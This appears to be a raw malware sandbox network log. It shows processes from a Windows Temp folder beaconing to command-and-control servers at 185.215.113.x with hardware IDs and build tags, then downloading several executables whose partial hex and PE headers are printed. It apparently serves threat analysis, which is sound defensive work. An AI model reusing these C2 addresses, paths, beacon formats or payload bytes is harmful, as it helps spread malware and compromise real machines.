Oct 24, 2024 09:08:28.327408075 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001139001&unit=246122658369
Oct 24, 2024 09:08:29.230694056 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50009	185.215.113.37	80	8068	C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:28.469325066 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:08:29.371773005 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:08:29.375442982 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build"doma------EBFBKFBGIIIDGDGCFCGI--
Oct 24, 2024 09:08:29.659806013 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50011	185.215.113.16	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:29.239662886 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 09:08:30.149972916 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:30 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 06:44:38 GMT Connection: keep-alive ETag: "6719ecd6-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ce ec 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"Xw@`~@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 09:08:30.150038958 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 24, 2024 09:08:30.150075912 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 24, 2024 09:08:30.150113106 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 24, 2024 09:08:30.150146961 CEST	448	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 24, 2024 09:08:30.150181055 CEST	1236	IN	Data Raw: 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc Data Ascii: WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuB
Oct 24, 2024 09:08:30.150213003 CEST	1236	IN	Data Raw: 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 1d 05 04 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff Data Ascii: AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl
Oct 24, 2024 09:08:30.150248051 CEST	1236	IN	Data Raw: 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 4c d4 01 00 8b 3e 33 d2 59 8b 4e 0c 89 46 08 85 c9 7e 11 8b 46 08 89 3c 90 42 8b 4e 0c 8b 7f 24 3b d1 7c ef 53 8d 41 ff 32 db 33 ff 85 c0 7e 2c 8b 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 Data Ascii: jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;
Oct 24, 2024 09:08:30.150300980 CEST	536	IN	Data Raw: ca 49 00 8d 4d e0 e8 27 6e 00 00 6a 01 ff 35 18 14 4d 00 8d 4d b8 89 5d c4 89 5d c8 88 5d cc e8 26 20 00 00 85 c0 0f 84 03 fe 03 00 88 5d 0b 8d 4d e0 e8 d7 69 00 00 56 b9 f0 13 4d 00 e8 04 7a 00 00 8d 45 94 50 8d 4d c0 e8 b9 40 00 00 68 84 ca 49 Data Ascii: IM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYY
Oct 24, 2024 09:08:30.150338888 CEST	1236	IN	Data Raw: 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 00 c7 06 34 cc 49 00 e8 01 37 00 00 ff 76 04 e8 2d cd 01 00 59 8d 4f 04 Data Ascii: ;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]UQMSVW;u^v_
Oct 24, 2024 09:08:30.156650066 CEST	1236	IN	Data Raw: c0 49 00 85 c0 0f 84 fe fb 03 00 8d 4c 24 18 e8 0e 63 00 00 8d 4c 24 28 e8 05 63 00 00 5f 5e b8 90 23 4d 00 5b 8b e5 5d c2 08 00 55 8b ec 83 ec 14 56 57 8b f9 8d 4d ec e8 b7 73 00 00 8b 4d 08 8d 55 ec e8 ed 04 00 00 33 f6 39 77 20 0f 87 2b fd 03 Data Ascii: IL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVNF^[]M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50013	185.215.113.16	80	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:32.283332109 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:08:33.183942080 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:33 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Thu, 24 Oct 2024 06:55:23 GMT Connection: keep-alive ETag: "6719ef5b-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKK @.rsrc@.idata @ *@sygcicsm1@gyxlqsfmK@.taggant0K"@
Oct 24, 2024 09:08:33.183967113 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:33.183981895 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:33.183995962 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:33.184010983 CEST	848	IN	Data Raw: f4 e4 83 a8 a5 92 b4 72 46 c5 97 a4 e9 c9 15 0f 97 71 fc 63 1f 1f c3 16 b8 3f 1f c9 b4 a3 13 f4 58 e7 a6 1d 56 a7 8f e8 b1 ae 77 e6 35 c0 86 0c 06 af d3 28 02 cd 42 93 57 b0 03 78 af 12 14 13 36 23 68 d7 cd 6e 38 14 a8 f2 11 e6 75 b0 4b da a6 4e Data Ascii: rFqc?XVw5(BWx6#hn8uKNtl8#Zv_*{54dmX-93$?h(5#77NW]v<(txU&wwT(c#DdS8@ry[5"x
Oct 24, 2024 09:08:33.184032917 CEST	1236	IN	Data Raw: a9 4e 16 74 97 d2 fe cb a9 5f 74 c4 09 cb 7c 33 8e cf 37 8e 99 26 7c ac 10 27 f0 d3 15 0e 7c 34 c8 92 ac 0b 86 b3 23 c4 96 e3 26 c5 d4 af e3 2c 59 f9 5d 84 88 bf 0f d8 a9 ce 14 f4 70 b1 a6 ba 06 3f 78 eb a5 53 20 ec 94 e3 a3 c6 18 bd 35 34 97 eb Data Ascii: Nt_t\|37&\|'\|4#&,Y]p?xS 54tqf"SnlL84#6t:$r+'x,VrFw8"}W&4)2&fx<+5H(#6WN\|t0$-#uxLG
Oct 24, 2024 09:08:33.184055090 CEST	1236	IN	Data Raw: 92 67 44 b9 6d c3 f1 f6 da 5e d9 9a f9 ae d2 e9 58 14 9a af 00 77 f6 30 fa e3 7a 97 62 3f b6 cf 46 22 ff 9b 88 11 14 b2 4a 5d 00 9e 96 e5 cb e2 3f d9 3f 75 09 67 03 e7 86 a7 59 2d 9a a7 b9 e8 52 a1 b3 8f 9e 35 05 dc 5e 1a 72 8a 6e 80 9c 59 8d 8e Data Ascii: gDm^Xw0zb?F"J]??ugY-R5^rnY7P~_&"qh:dgi\|e}fgk@yFuCNv7lMJIT`%~Hx5!.`%jF4P1m(7Mq2"Pq
Oct 24, 2024 09:08:33.184068918 CEST	1236	IN	Data Raw: 9d b4 3a 24 65 3c bc 48 90 b2 f7 e8 dd a0 3b 28 40 c6 62 8d 53 11 0a ff eb ec 6b c4 cb 31 bc b0 c5 03 2e d6 b9 b8 21 b8 53 ff 16 14 ca b3 2b f7 39 1c c5 7d ab 22 ec 17 92 f7 49 0d aa 86 4f a5 fa 7f dc d0 1b c1 0f 6d c0 d7 61 e7 c1 1f 68 f5 b2 d2 Data Ascii: :$e<H;(@bSk1.!S+9}"IOmah'+oZnG@qv?%s>"l>(-=>C7\z{}<kO@95e,&6FP.)o}jd$u`],t>^/>@_i<+9sFK*G
Oct 24, 2024 09:08:33.184084892 CEST	1236	IN	Data Raw: 34 a9 35 68 4e 57 d5 2d 3c 67 40 82 0c f1 bf b3 98 e5 3b 85 de a7 75 e4 29 5d bc 7d a4 f0 08 bd 0b ba 52 ac d0 76 38 bb d7 ea f7 28 7a 42 87 c9 95 e6 d3 12 8e 2b 4d f5 fd 9d ec f2 5f 85 88 57 f4 6a ed c3 7d ae 7e cb 39 7b f3 f1 4f 08 71 23 d8 2d Data Ascii: 45hNW-<g@;u)]}Rv8(zB+M_Wj}~9{Oq#-AL6Lx XAP$<.QAN(bXK.Y6/I2ro\#$f#F.gX{]$B$7>=:O*%}'#[&d
Oct 24, 2024 09:08:33.184102058 CEST	848	IN	Data Raw: 8a 28 1a fc b7 c2 8a cc 50 f0 23 37 ce 83 05 c7 05 24 58 e4 c9 57 4f 74 0c 8a bc 92 66 43 fb e9 81 af 0b 26 0c d2 b3 ac b8 2f 37 ef cf c1 fc f4 ca f7 6d 0c a6 c3 35 26 68 ec 25 29 d5 9e b0 29 c6 0a 36 2c b2 e4 74 5e 8e 8a 6b b7 09 8d 00 a1 8f 98 Data Ascii: (P#7$XWOtfC&/7m5&h%))6,t^k*[@Ip2//"~qO,BMBTAC""4TIT<Z rhkW.&F"2q/yH6>~7ouzm\|oqUAh`df^g'hp5;
Oct 24, 2024 09:08:33.190275908 CEST	1236	IN	Data Raw: b7 76 04 d6 95 22 d4 2b 0e 3a 8d a2 1b 62 3e 09 ec ac f5 aa 1e 96 f2 e4 25 a9 7b bc 08 3f 58 bc c8 20 64 9f 4b 82 70 78 0d 0d 15 9a 10 35 38 d1 59 af f9 bd 88 97 06 45 58 98 56 f3 39 77 1b 2a 0a 90 d1 3b c7 a6 74 a2 d8 e2 b4 05 de 8f 1c 1b 98 96 Data Ascii: v"+:b>%{?X dKpx58YEXV9w;t5WT,#zn=,0OmL2NPwb]av(<*65:_>2O!>p>aw'\0'hu_<{j<N\|c#g"wBm4tKD
Oct 24, 2024 09:08:39.620784044 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:08:39.897610903 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:39 GMT Content-Type: application/octet-stream Content-Length: 1854464 Last-Modified: Thu, 24 Oct 2024 06:55:17 GMT Connection: keep-alive ETag: "6719ef55-1c4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0j@`j"@P%d% %(@.rsrc %8@.idata %8@ P%:@wyvqzkuk0P<@kejrglww j&@.taggant00j"@
Oct 24, 2024 09:08:43.520430088 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:08:43.797504902 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:43 GMT Content-Type: application/octet-stream Content-Length: 2822656 Last-Modified: Thu, 24 Oct 2024 06:45:04 GMT Connection: keep-alive ETag: "6719ecf0-2b1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@mjjuywzq*:@kuccapjc `+@.taggant@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50015	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:35.984632015 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001140001&unit=246122658369
Oct 24, 2024 09:08:36.905750036 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50016	185.215.113.16	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:36.923113108 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 09:08:37.832724094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:37 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 09:08:37.832768917 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE
Oct 24, 2024 09:08:37.832798004 CEST	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj(dEPtX}t,hEPxS[hhAMQhd[]UQEjj@h0hj
